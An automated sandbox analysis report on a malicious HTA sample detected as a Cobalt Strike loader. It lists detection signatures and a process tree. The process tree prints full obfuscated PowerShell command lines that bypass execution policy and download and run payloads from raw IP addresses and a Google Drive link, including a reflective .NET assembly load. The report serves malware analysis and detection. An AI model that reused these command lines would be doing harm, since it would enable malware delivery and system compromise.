Edit tour
Windows
Analysis Report
greatthingswithmegood.hta
Overview
General Information
| Sample name: | greatthingswithmegood.hta |
| Analysis ID: | 1545195 |
| MD5: | d61ef0038de65f697abb0b7a21b499db |
| SHA1: | f8facfa18bf5eeecaa0601e8c1690fe60fe02ff8 |
| SHA256: | 8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93 |
| Tags: | htauser-abuse_ch |
| Infos: |   |
 | |
Detection
Cobalt Strike, HTMLPhisher
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 5836 cmdline: mshta.exe "C:\Users\ user\Deskt op\greatth ingswithme good.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) 
powershell.exe (PID: 6512 cmdline: "C:\Window s\sYSTEM32 \windOWSPo werShell\V 1.0\POWeRS Hell.eXE" "poweRSheL l.EXe -eX byPASS -noP -W 1 -c dEVicECR EdeNtiaLDe PlOymenT ; Iex($(I EX('[sYstE m.tExT.enC Oding]'+[c har]0X3a+[ char]0x3A+ 'UtF8.GETS tRIng([syS TEM.convER t]'+[CHAR] 58+[CHar]5 8+'fRoMbas e64STriNg( '+[Char]0x 22+'JFZENm I1TUtGICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg PSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGFEZC 10eVBFICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LU1FTWJFcm RFRmlOSXRJ T24gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAnW0 RsbEltcG9y dCgiVVJMTW 9uLkRsbCIs ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQ2hhcl NldCA9IENo YXJTZXQuVW 5pY29kZSld cHVibGljIH N0YXRpYyBl eHRlcm4gSW 50UHRyIFVS TERvd25sb2 FkVG9GaWxl KEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIGtHRENP eUFFdkgsc3 RyaW5nICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg d3Esc3RyaW 5nICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgZkhu Sk9PQWdhTC x1aW50ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ZmNMV0JuWC xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBiS2cpOy cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtTmFt RSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICJ3Tn ZtcExmRlp2 IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1lU1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICB0cU9kWV BRUCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1Q YXNzVGhydT sgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAkVkQ2 YjVNS0Y6Ol VSTERvd25s b2FkVG9GaW xlKDAsImh0 dHA6Ly8xOT guNDYuMTc4 LjE1MS82Ni 9zZWVtZXRo ZWJlc3R0aG luZ3N3aXRo Z3JlYXRuZW Vkc3dpdGhn b29kZm9ybW V3aXRoLnRJ RiIsIiRFTn Y6QVBQREFU QVxzZWVtZX RoZWJlc3R0 aGluZ3N3aX RoZ3JlYXRu ZWVkc3dpdG hnby52YnMi LDAsMCk7c3 RBcnQtU2xF ZXAoMyk7c1 RBUlQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi JGVOdjpBUF BEQVRBXHNl ZW1ldGhlYm VzdHRoaW5n c3dpdGhncm VhdG5lZWRz d2l0aGdvLn ZicyI='+[c HAr]34+')) ')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 432 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6516 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX byPASS -noP -W 1 -c dEVicE CREdeNtiaL DePlOymenT MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
csc.exe (PID: 4832 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\ly0yjdqb \ly0yjdqb. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 1020 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S2C04.tmp" "c:\Users \user\AppD ata\Local\ Temp\ly0yj dqb\CSC746 F8121F2314 519843BE09 F69B09E4D. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) 
wscript.exe (PID: 6408 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeme thebestthi ngswithgre atneedswit hgo.vbs" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 7136 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICRTSE VMbGlkWzFd KyRzaEVsbE lkWzEzXSsn WCcpICgoJ2 p2TWltYWdl VXJsID0gdU NiaHR0cHM6 Ly9kcml2ZS 5nb29nbGUu Y29tL3VjP2 V4cG9ydD1k b3dubG9hZC ZpZD0xQUlW Z0pKSnYxRj Z2UzRzVU95 Ym5ILXNEdl VoQll3dXIg dUNiO2p2TX dlYkNsaWVu dCA9IE5ldy 1PYmplYycr J3QgU3lzdG VtLk5ldC5X ZWJDbGllbn Q7anZNaW1h Z2VCJysneX RlJysncyA9 IGp2TXdlYk NsaWVudC5E b3dubG9hZE RhJysndGEo anZNaW1hZ2 VVcmwpO2p2 TWltYWdlVG V4dCA9IFtT eXN0ZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKG p2TWltYWdl Qnl0ZXMpO2 p2TXN0YXJ0 RmxhZyA9IH VDYjw8QkFT RTY0X1NUQV JUPj51Q2I7 anZNZW5kJy snRmxhZyA9 IHVDYjw8Qk FTRTY0X0VO RD4+dUNiO2 p2TXN0YXJ0 SW5kZXggPS Bqdk1pbWFn ZVRleHQuSW 5kZXhPZihq dk1zdGFydE ZsYWcpO2p2 TWVuZEluZG V4ID0ganZN aW1hZ2VUZX h0JysnLklu ZGV4T2YnKy coanZNZW5k RmxhZyk7an ZNc3RhcnRJ bmRleCAtZ2 UgMCAtYW5k IGp2TWVuZE luZGV4IC1n dCBqdk1zdG FydEluZGV4 O2p2TXN0YX J0SW5kZXgg Kz0ganZNc3 RhcnRGbGFn Lkxlbmd0aD tqdk1iYXNl NjRMZW5ndG ggPSBqdk1l bmRJJysnbm RleCAtIGp2 TXN0YXJ0SW 5kZScrJ3g7 anZNYmFzZT Y0Q29tbWFu ZCA9IGp2TW ltYWdlVGV4 dC5TdWJzdH JpbmcoanZN c3RhcnRJbm RleCwganZN YmFzZTY0TG VuZ3RoKTtq dk0nKydiYX NlNjRSZXZl cnNlZCA9IC 1qb2luIChq dk1iYXNlNj RDb21tYW5k LlRvQ2hhck FycmF5KCcr JykgbnJFIE ZvckVhJysn Y2gtT2JqZW N0IHsganZN XyB9KVstMS 4uLShqdk1i YXNlNjRDb2 1tYW5kLkxl bmd0aCldO2 p2TWNvbW1h bmRCeXRlcy A9IFtTeXN0 ZW0uQ29udm VydF06OkZy b21CYXNlNj RTdHJpbmco anZNYmFzZT Y0UmV2ZXJz ZWQpO2p2TW xvYWRlZEFz c2VtYmx5IC crJz0gW1N5 Jysnc3RlbS 5SZWZsZWN0 aW9uLkFzc2 VtYmx5XTo6 TG9hZChqdk 1jb21tYW5k Qnl0ZXMpO2 p2TXZhaU1l dGhvZCA9IF tkbmxpYi5J Ty5Ib21lXS crJy5HZXRN ZXRob2QnKy codUNiVkFJ dUNiKTtqdk 12YWlNZXRo b2QuSW52b2 tlKGp2TW51 bGwsIEAodU NidHh0Licr J0dST0wnKy dMLzY2LzE1 MS44NzEuNj QuODkxLycr Jy86cHR0aH VDJysnYiwg dUNiZGVzYX RpdmFkb3VD YiwgdUNiZG VzYScrJ3Rp dmFkb3VDYi wgdUNiZGVz YXRpdmFkb3 VDYicrJywg dUNiYXNwbi crJ2UnKyd0 X3JlZ2Jyb3 dzZXJzdUNi LCB1Q2JkZX NhdGl2YWRv dUNiLCB1Q2 JkZXNhdGl2 YWRvdUNiLH VDYmRlc2F0 aXZhZG91Q2 IsdUNiZGVz YXRpdmFkb3 VDYix1Q2Jk ZXNhdGl2YW RvdUNiLHVD YmRlc2F0aX ZhZG91Q2Is dUNiZGVzYS crJ3RpdmFk b3VDYix1Q2 IxdUNiLHVD YmRlc2F0aX ZhZG91Q2Ip KTsnKS5SZX BsQWNlKCdq dk0nLCckJy kuUmVwbEFj ZSgndUNiJy xbc1RyaW5H XVtjaGFSXT M5KS5SZXBs QWNlKChbY2 hhUl0xMTAr W2NoYVJdMT E0K1tjaGFS XTY5KSxbc1 RyaW5HXVtj aGFSXTEyNC kp';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2876 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6004 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "& ( $ SHELlid[1] +$shEllId[ 13]+'X') ( ('jvMimage Url = uCbh ttps://dri ve.google. com/uc?exp ort=downlo ad&id=1AIV gJJJv1F6vS 4sUOybnH-s DvUhBYwur uCb;jvMweb Client = N ew-Objec'+ 't System. Net.WebCli ent;jvMima geB'+'yte' +'s = jvMw ebClient.D ownloadDa' +'ta(jvMim ageUrl);jv MimageText = [System .Text.Enco ding]::UTF 8.GetStrin g(jvMimage Bytes);jvM startFlag = uCb<<BAS E64_START> >uCb;jvMen d'+'Flag = uCb<<BASE 64_END>>uC b;jvMstart Index = jv MimageText .IndexOf(j vMstartFla g);jvMendI ndex = jvM imageText' +'.IndexOf '+'(jvMend Flag);jvMs tartIndex -ge 0 -and jvMendInd ex -gt jvM startIndex ;jvMstartI ndex += jv MstartFlag .Length;jv Mbase64Len gth = jvMe ndI'+'ndex - jvMstar tInde'+'x; jvMbase64C ommand = j vMimageTex t.Substrin g(jvMstart Index, jvM base64Leng th);jvM'+' base64Reve rsed = -jo in (jvMbas e64Command .ToCharArr ay('+') nr E ForEa'+' ch-Object { jvM_ })[ -1..-(jvMb ase64Comma nd.Length) ];jvMcomma ndBytes = [System.Co nvert]::Fr omBase64St ring(jvMba se64Revers ed);jvMloa dedAssembl y '+'= [Sy '+'stem.Re flection.A ssembly]:: Load(jvMco mmandBytes );jvMvaiMe thod = [dn lib.IO.Hom e]'+'.GetM ethod'+'(u CbVAIuCb); jvMvaiMeth od.Invoke( jvMnull, @ (uCbtxt.'+ 'GROL'+'L/ 66/151.871 .64.891/'+ '/:ptthuC' +'b, uCbde sativadouC b, uCbdesa '+'tivadou Cb, uCbdes ativadouCb '+', uCbas pn'+'e'+'t _regbrowse rsuCb, uCb desativado uCb, uCbde sativadouC b,uCbdesat ivadouCb,u Cbdesativa douCb,uCbd esativadou Cb,uCbdesa tivadouCb, uCbdesa'+' tivadouCb, uCb1uCb,uC bdesativad ouCb));'). ReplAce('j vM','$').R eplAce('uC b',[sTrinG ][chaR]39) .ReplAce(( [chaR]110+ [chaR]114+ [chaR]69), [sTrinG][c haR]124))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||